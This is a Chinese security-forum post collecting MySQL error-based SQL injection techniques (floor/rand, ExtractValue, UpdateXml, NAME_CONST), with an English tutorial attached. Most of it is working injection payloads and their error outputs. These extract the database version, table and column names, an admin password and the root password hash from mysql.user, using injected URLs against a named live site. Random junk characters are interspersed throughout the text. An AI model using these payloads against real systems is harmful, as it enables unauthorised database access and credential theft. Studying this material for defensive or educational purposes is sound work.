找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2779|回复: 0
打印 上一主题 下一主题

mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2015-11-11 19:03:37 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下:
3 P+ a2 j: r. a' t5 z5 G首先进行正常查询:

mysql> select * from article where id = 1;( e) Y; B0 h& U/ {
+—-+——-+———+5 {8 N+ X9 u+ o! B- l$ `
| id | title | content |
3 S; u" T- o/ i+—-+——-+———+
# B1 r1 T7 a, @  l/ \2 D4 G|  1 | test  | do it   |" C0 t4 q7 L2 ]) i8 }) Z
+—-+——-+———+

假如id输入存在注入的话,可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
* Y+ B) q2 z- Y) i# G/ t3 a3 O1 zERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
% _$ M0 i. _5 X2 C( q. W% o例如我们需要查询管理员用户名和密码:

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);" y4 i" Q& p$ L3 Q
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
; `% m; d" t  k- X; h& A0 h; xERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue+ H& p; P- Z1 {! X  R+ X/ W
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–+ a- f1 ]& [: V% b$ h: E/ [( Z
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’


4 s, @" `) E/ D$ H9 h- j. ^0 ?- |( h( H" w; K

再收集:

% ?$ x  H1 a& v; _; @! I) W
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
: d7 H% V. v. d# V- q: P
! C2 V" }4 `# ]; f. W7 l3 QErroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
" L; u+ z, O& m
! L5 V. n/ s* O1 khttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
. d* E4 ~) o+ g: {8 N; J$ t
: `5 I: v) ^$ d4 xErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ " U% H' w7 z* ]7 E

" L7 A, }6 b2 m6 p. E0 TMYSQL高版本报错注入技巧-利用NAME_CONST注入
5 Z) [$ J5 U+ N5 uIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
3 Y, l5 W, b0 e1 b, x; [( E) f4 x. u$ V* F; Y9 t2 Q
% Q9 A( j8 ~# Z- Q) N$ m
相关信息& U' C  Z) L8 j4 M

  v) s# m; k: i. LNAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.; b8 p( J( a8 j! _+ P3 T& q
' b) t; D- b/ k5 ^  J+ _
Code:
& u& I4 B1 _/ D) R2 `NAME_CONST(DATA, VALUE)
) \7 s' f2 e2 x, Z5 m& C0 g4 i9 @9 K: W6 n
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
0 T5 X( a# j3 R) c! k5 O" V1 D& o6 N  N! T8 Y; |. `+ ^
SELECT NAME_CONST('TEST', 1)& W- B" I. q6 _% {7 a: f. `$ O
2 l2 _( A5 U' C% S: H7 [& o1 {/ L9 ~

0 }$ W. U8 Z# k- \" d
* i$ w6 C  K' c6 F2 F3 [9 b|---------------|
& T2 R; z. S2 T! R1 `- ~1 ]( R|     TEST      |
# ^% a% `1 o" J3 Z( n|               |
2 L$ U2 R: N5 ?) r" @! w4 Y( o|---------------|0 r; W& P! d( s6 K+ N9 ^' f
|       1       |
% Y  k& H" s5 ]8 Q! L|               |
. O3 f9 {1 }. S# P% m& W, y|---------------|! ]2 T: O6 j7 m' m9 _  X5 j

$ q& d5 t/ V9 J! T6 k5 G& T& i( `4 o6 t/ b
' K1 H4 Y" ]+ ?+ y

! ~$ {6 f! w1 ^: whttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
- P5 Z' u) ?: E3 a. W0 B+ a+ V3 V! PIntro to MySQL Variables
$ u3 S/ R- |+ {7 K/ X9 s" w. S* _) D# f& G* M! [# e  @/ a! n* c
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
2 \6 d6 L" _1 d5 U% j0 K3 ]( |4 N4 p* V# u$ F- [" R3 C, _
Code:
" h1 D; D4 A$ xhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=2612 _1 y5 S9 L# \8 v% S  J9 a
0 P* p5 J# y! [' X7 _
$ N2 T) c$ x$ f6 o; `$ v( }( u3 ?, Y7 k
0 q  D; }& I. Z' s

+ t7 l9 U% P  p, r# m
& L0 p, b% l/ j7 ^8 ]( D; x6 }6 J: R" _" WCode:. }  r1 Y. {# o  b
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--; I' z9 o( r3 G9 V
7 |: j9 L! r6 H2 V

9 n/ R, x0 L+ H- Q$ YVAR = Your MySQL variable., n* O4 V- A7 Z* w9 A  e0 C

' U0 c# u& V) t# h  R% wMySQL 5.1.3 Server System Variables
& }9 l* s! U2 p
0 h3 V  o3 H  K# E5 U  CLet's try it out on my site..
, B  d( `" W$ g2 y4 F3 ~" H( V2 p! f( w' v, T, S% _
Code:6 F0 x: y. @/ Q1 t( [, ]* ~/ t
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
1 N- j4 d+ p- R5 @- n0 {  D) H" [+ Z
) i  `# e) X( z6 S% z. ?! x0 ?Erroruplicate column name '5.0.27-community-nt'9 K3 N/ T2 {1 X/ O

6 J" U+ k$ G" g8 X
% A* b3 B8 a2 J0 D1 y
# b, D, a6 e9 a0 y

, j9 s4 L/ H% `+ o1 D1 x3 s& W: n+ Y0 G6 t! E+ n) h4 E
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...( C% i9 U  A# w

/ a2 `& [+ {0 i) @Data Extraction3 F& Y( v) j; [4 ], u
% N; q0 ?) x% k) ~
Code:
/ C1 m) X7 @! o9 Z+ m" j% b5 J% D+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--( n0 ?* ]. n+ O8 R) i/ }4 X6 [4 e

/ K, u7 H& _/ S3 s
0 u; f" \8 h; uWe should get a duplicate column 1 error...+ u7 q# ~: q1 M9 Z" ^0 P. _3 {
# k2 P. F1 j( A/ C* Z! u- I8 V
Code:
. d: p) B. g0 a, v1 d1 U6 @' ^( {http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
5 o! S2 I( {# Y8 {# z! d
5 s0 [8 c& E# V, M7 yErroruplicate column name '19 N) M, g, N/ c+ V
" k' M6 V. y( i& }( ?

. S5 ?2 i& N+ i8 |) N/ k6 z6 \, P: v) |+ }, H+ q

" q3 B$ [, ^# ]& V2 }
2 g8 H1 F% @0 s  r: R- A
8 [* Z" l# `: N  ?
Now let's get the tables out this bitch..
$ `, Y$ f" ?7 n  n% z
/ s! c, @* ?8 ~% l' \4 A3 G- gCode:/ ]$ S* j8 x0 W7 S; ?+ M: M+ b
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--( `/ I7 P) R/ k& j* y3 i$ |
5 U# [3 Z- m5 Y# t

" H! K' A- `# |+ `/ S4 NLet's see if it works here, if it does, we can go on and finish the job.( N  u/ u6 L- A

( L$ M+ |" h! x( [9 rCode:
" C3 w2 B" U: C7 p/ h2 K# Yhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--! o" H5 s8 y" f2 P5 g

5 j# `7 z$ A, |4 h1 ]2 r# S; a. B
Erroruplicate column name 'com_admanage! Q6 Y$ M6 B4 Q; J" e

! w8 m5 \* F' D- y
/ F1 h% w0 V% b7 Y2 d0 ~1 ^& W: }" @& Q
' k2 |+ v5 o7 w7 `- C; X- r- i: W
+ u" ]# q& g4 T5 W

2 _% P8 g$ {5 n8 p1 M% r& ]* g6 [/ V6 h
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.; q& K0 D$ D7 A* N) B# k+ L9 G
) t/ v( k3 S$ X2 O
Let's get the columns out of the user table..
! L1 Y; ]3 u1 d) n7 Z6 m7 Q9 {
9 E) w# x0 O; q" ?Code:
4 [5 @/ v3 y, H0 R+ H) t$ a+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--" F2 [- |2 J8 Q& d& o3 P

% @; t" l+ `& e. }' P) A: E% g
& M9 ]0 O" _! Y9 f3 T- zSo mine looks like this, and I get the duplicate column name 'Host'.
2 B  f: j9 e+ A; u, N
0 x: e0 |4 \0 R; KCode:; a3 B8 O6 U6 k0 g
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--: z2 Q/ ?3 |$ q5 T  K) a3 H- U' l

0 t. F' W; ?8 d) _/ o( y8 H& OErroruplicate column name 'Host'
% O" U4 t/ Z* ?
& h! n+ Q/ L; z" V
, x) C. a; q5 d; w  m4 l

/ a! {2 Q. {, g; C% X3 p" F
. I( e5 }9 R; p' C/ h- z. I+ g

  m! U/ r! e) g( w- I
' {6 }! y( t( \Woot, time to finish this bitch off.2 l* k' b, G, l0 V6 l
1 @1 w0 c/ _2 {, g5 x
Code:
/ f/ h/ [  Q+ O5 R5 `: X% J6 L) P+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
# y0 A! R# x. J
. `. J& X- w* T

, i" @4 X) t. n) o( k1 U# _So mine looks like this...1 Y# A7 l# {7 Z2 W4 W$ @9 N

) f5 u1 \2 H+ u1 v8 PCode:1 b9 _5 `. B% w6 J% ]
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
9 J, K- f# `4 A9 C9 ?
( U0 b. m# A+ {* N8 PErroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
3 v- D% ]6 A( `
$ R6 f/ W$ y( ?5 u
4 o! ?6 c* m$ C( J

+ C0 l8 b$ L7 P& h. _
% s# O8 e( B# P. C
/ ~& O% p$ b) G5 y

% G2 X# A) G4 NAnd there we have it, thanks for reading.

( f$ u) Z+ S1 M- ?1 ~# f5 h( V+ N+ b& K/ z+ [1 y6 f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表